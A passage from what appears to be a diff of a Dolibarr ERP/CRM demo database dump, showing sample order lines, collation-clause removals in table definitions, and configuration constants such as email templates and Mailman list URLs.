\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(212,72,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(213,72,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(227,75,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(235,78,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(236,78,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(237,78,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(238,78,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(246,81,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(247,81,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(248,81,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,5,5.00000000,25.00000000,0.00000000,0.00000000,0.00000000,25.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',5.00000000,25.00000000,0.00000000,25.00000000),(253,83,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,5,5.00000000,5.00000000,0.00000000,0.00000000,0.00000000,5.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',5.00000000,5.00000000,0.00000000,5.00000000),(254,83,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(255,83,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(256,83,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(257,84,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(258,84,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(259,84,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(260,85,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,9,9.00000000,27.00000000,0.00000000,0.00000000,0.00000000,27.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',9.00000000,27.00000000,0.00000000,27.00000000),(261,85,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(262,85,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(271,88,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,10,10.00000000,50.00000000,0.00000000,0.00000000,0.00000000,50.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',10.00000000,50.00000000,0.00000000,50.00000000),(272,88,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(276,75,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,90.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(278,75,NULL,13,NULL,NULL,'A powerfull computer XP4523 
\r\n(Code douane: USXP765 - Pays d'origine: Etats-Unis)',5.000,'',9.975,'1',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,25.00000000,49.88000000,0.00000000,574.88000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,25.00000000,574.88000000),(279,75,NULL,13,NULL,NULL,'A powerfull computer XP4523 
\n(Code douane: USXP765 - Pays d\'origine: Etats-Unis)',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(280,90,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(281,90,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,10,10.00000000,30.00000000,0.00000000,0.00000000,0.00000000,30.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',10.00000000,30.00000000,0.00000000,30.00000000),(282,90,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(283,90,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(284,91,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(285,91,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(286,91,NULL,13,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(287,92,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(288,92,NULL,13,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(289,92,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(290,92,NULL,13,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(291,92,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(292,6,NULL,11,NULL,NULL,'A nice rollup',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'',0.00000000,0.00000000,0.00000000,0.00000000),(295,93,NULL,11,NULL,NULL,'A nice rollup',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(296,94,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(297,94,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(298,94,NULL,13,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(299,95,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(300,95,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(301,95,NULL,13,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(302,96,NULL,NULL,NULL,NULL,'fd',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(303,97,NULL,NULL,NULL,NULL,'fd',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(304,98,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'CGST+SGST',9.000,'1',9.000,'1',1,0,0,NULL,5,5.00000000,5.00000000,0.00000000,0.45000000,0.45000000,5.90000000,0,NULL,NULL,0,NULL,10.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',5.00000000,5.00000000,0.00000000,5.90000000),(305,98,NULL,NULL,NULL,NULL,'aaa',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,-2,-2.00000000,-2.00000000,0.00000000,0.00000000,0.00000000,-2.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,'EUR',-2.00000000,-2.00000000,0.00000000,-2.00000000),(306,99,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',4.000,'',0.000,'0',0.000,'0',1,0,0,NULL,6,6.00000000,6.00000000,0.24000000,0.00000000,0.00000000,6.24000000,0,NULL,NULL,0,NULL,10.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',6.00000000,6.00000000,0.24000000,6.24000000),(307,99,NULL,NULL,NULL,NULL,'aaa',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,-2,-2.00000000,-2.00000000,0.00000000,0.00000000,0.00000000,-2.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,'EUR',-2.00000000,-2.00000000,0.00000000,-2.00000000),(308,100,NULL,NULL,NULL,'','sss',18.000,'IGST',0.000,'0',0.000,'0',1,0,0,NULL,10,10.00000000,10.00000000,1.80000000,0.00000000,0.00000000,11.80000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,1,'EUR',10.00000000,10.00000000,1.80000000,11.80000000),(309,100,NULL,NULL,NULL,'','sss',0.000,'CGST+SGST',9.000,'1',9.000,'1',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.90000000,0.90000000,11.80000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,1,'EUR',10.00000000,10.00000000,0.00000000,11.80000000); /*!40000 ALTER TABLE `llx_commandedet` ENABLE KEYS */; UNLOCK TABLES; @@ -4912,7 +4133,7 @@ CREATE TABLE `llx_commandedet_extrafields` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), `fk_object` int(11) NOT NULL, - `import_key` varchar(14) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(14) DEFAULT NULL, PRIMARY KEY (`rowid`), KEY `idx_commandedet_extrafields` (`fk_object`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -4938,12 +4159,12 @@ CREATE TABLE `llx_comment` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, `datec` datetime DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), - `description` text COLLATE utf8mb3_unicode_ci NOT NULL, + `description` text NOT NULL, `fk_user_author` int(11) DEFAULT NULL, `fk_element` int(11) DEFAULT NULL, - `element_type` varchar(50) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `element_type` varchar(50) DEFAULT NULL, `entity` int(11) DEFAULT 1, - `import_key` varchar(125) COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `import_key` varchar(125) DEFAULT NULL, `fk_user_modif` int(11) DEFAULT NULL, PRIMARY KEY (`rowid`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; @@ -4967,16 +4188,16 @@ DROP TABLE IF EXISTS `llx_const`; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `llx_const` ( `rowid` int(11) NOT NULL AUTO_INCREMENT, - `name` varchar(255) COLLATE utf8mb3_unicode_ci NOT NULL, + `name` varchar(255) NOT NULL, `entity` int(11) NOT NULL DEFAULT 1, - `value` text COLLATE utf8mb3_unicode_ci NOT NULL, - `type` varchar(64) COLLATE utf8mb3_unicode_ci DEFAULT 'string', + `value` text NOT NULL, + `type` varchar(64) DEFAULT 'string', `visible` tinyint(4) NOT NULL DEFAULT 1, - `note` text COLLATE utf8mb3_unicode_ci DEFAULT NULL, + `note` text DEFAULT NULL, `tms` timestamp NOT NULL DEFAULT current_timestamp() ON UPDATE current_timestamp(), PRIMARY KEY (`rowid`), UNIQUE KEY `uk_const` (`name`,`entity`) -) ENGINE=InnoDB AUTO_INCREMENT=9451 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; +) ENGINE=InnoDB AUTO_INCREMENT=12077 DEFAULT CHARSET=utf8mb3 COLLATE=utf8mb3_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; -- @@ -4985,7 +4206,7 @@ CREATE TABLE `llx_const` ( LOCK TABLES `llx_const` WRITE; /*!40000 ALTER TABLE `llx_const` DISABLE KEYS */; -INSERT INTO `llx_const` VALUES (8,'MAIN_UPLOAD_DOC',0,'2048','chaine',0,'Max size for file upload (0 means no upload allowed)','2012-07-08 11:17:57'),(9,'MAIN_SEARCHFORM_SOCIETE',0,'1','yesno',0,'Show form for quick company search','2012-07-08 11:17:57'),(10,'MAIN_SEARCHFORM_CONTACT',0,'1','yesno',0,'Show form for quick contact search','2012-07-08 11:17:57'),(11,'MAIN_SEARCHFORM_PRODUITSERVICE',0,'1','yesno',0,'Show form for quick product search','2012-07-08 11:17:58'),(12,'MAIN_SEARCHFORM_ADHERENT',0,'1','yesno',0,'Show form for quick member search','2012-07-08 11:17:58'),(16,'MAIN_SIZE_LISTE_LIMIT',0,'25','chaine',0,'Longueur maximum des listes','2012-07-08 11:17:58'),(29,'MAIN_DELAY_NOT_ACTIVATED_SERVICES',1,'0','chaine',0,'Tolérance de retard avant alerte (en jours) sur services à activer','2012-07-08 11:17:58'),(33,'SOCIETE_NOLIST_COURRIER',0,'1','yesno',0,'Liste les fichiers du repertoire courrier','2012-07-08 11:17:58'),(36,'ADHERENT_MAIL_REQUIRED',1,'1','yesno',0,'EMail required to create a new member','2012-07-08 11:17:58'),(37,'ADHERENT_MAIL_FROM',1,'adherents@domain.com','chaine',0,'Sender EMail for automatic emails','2012-07-08 11:17:58'),(38,'ADHERENT_MAIL_RESIL',1,'Your subscription has been resiliated.\r\nWe hope to see you soon again','html',0,'Mail resiliation','2018-11-23 11:56:07'),(39,'ADHERENT_MAIL_VALID',1,'Your subscription has been validated.\r\nThis is a remind of your personal information :\r\n\r\n%INFOS%\r\n\r\n','html',0,'Mail de validation','2018-11-23 11:56:07'),(40,'ADHERENT_MAIL_COTIS',1,'Hello %PRENOM%,\r\nThanks for your subscription.\r\nThis email confirms that your subscription has been received and processed.\r\n\r\n','html',0,'Mail de validation de cotisation','2018-11-23 11:56:07'),(41,'ADHERENT_MAIL_VALID_SUBJECT',1,'Your subscription has been validated','chaine',0,'Sujet du mail de validation','2012-07-08 11:17:59'),(42,'ADHERENT_MAIL_RESIL_SUBJECT',1,'Resiliating your subscription','chaine',0,'Sujet du mail de resiliation','2012-07-08 11:17:59'),(43,'ADHERENT_MAIL_COTIS_SUBJECT',1,'Receipt of your subscription','chaine',0,'Sujet du mail de validation de cotisation','2012-07-08 11:17:59'),(44,'MAILING_EMAIL_FROM',1,'dolibarr@domain.com','chaine',0,'EMail emmetteur pour les envois d emailings','2012-07-08 11:17:59'),(45,'ADHERENT_USE_MAILMAN',1,'0','yesno',0,'Utilisation de Mailman','2012-07-08 11:17:59'),(46,'ADHERENT_MAILMAN_UNSUB_URL',1,'http://lists.domain.com/cgi-bin/mailman/admin/%LISTE%/members?adminpw=%MAILMAN_ADMINPW%&user=%EMAIL%','chaine',0,'Url de desinscription aux listes mailman','2012-07-08 11:17:59'),(47,'ADHERENT_MAILMAN_URL',1,'http://lists.domain.com/cgi-bin/mailman/admin/%LISTE%/members?adminpw=%MAILMAN_ADMINPW%&send_welcome_msg_to_this_batch=1&subscribees=%EMAIL%','chaine',0,'Url pour les inscriptions mailman','2012-07-08 11:17:59'),(48,'ADHERENT_MAILMAN_LISTS',1,'test-test,test-test2','chaine',0,'Listes auxquelles inscrire les nouveaux adherents','2012-07-08 11:17:59'),(49,'ADHERENT_MAILMAN_ADMINPW',1,'','chaine',0,'Mot de passe Admin des liste mailman','2012-07-08 